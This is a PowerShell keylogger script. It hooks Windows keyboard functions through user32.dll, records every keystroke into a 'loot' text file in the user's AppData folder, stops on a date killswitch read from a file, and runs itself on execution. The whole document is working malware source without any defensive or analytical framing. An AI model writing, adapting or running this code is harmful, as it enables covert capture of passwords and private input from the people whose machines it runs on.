function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
  $signatures = @'
  [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
  public static extern short GetAsyncKeyState(int virtualKeyCode); 
  [DllImport("user32.dll", CharSet=CharSet.Auto)]
  public static extern int GetKeyboardState(byte[] keystate);
  [DllImport("user32.dll", CharSet=CharSet.Auto)]
  public static extern int MapVirtualKey(uint uCode, int uMapType);
  [DllImport("user32.dll", CharSet=CharSet.Auto)]
  public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
    

  $null = New-Item -Path $Path -ItemType File -Force

  try
  {
    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

    while ($true) {
      Start-Sleep -Milliseconds 40
      if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")){exit}
      

      for ($ascii = 9; $ascii -le 254; $ascii++) {

        $state = $API::GetAsyncKeyState($ascii)


        if ($state -eq -32767) {
          $null = [console]::CapsLock


          $virtualKey = $API::MapVirtualKey($ascii, 3)


          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)


          $mychar = New-Object -TypeName System.Text.StringBuilder

          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

          if ($success) 
          {

            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
          }
        }
      }
    }
  }
  finally
  {

    #notepad $Path
  }
}

XXXlog
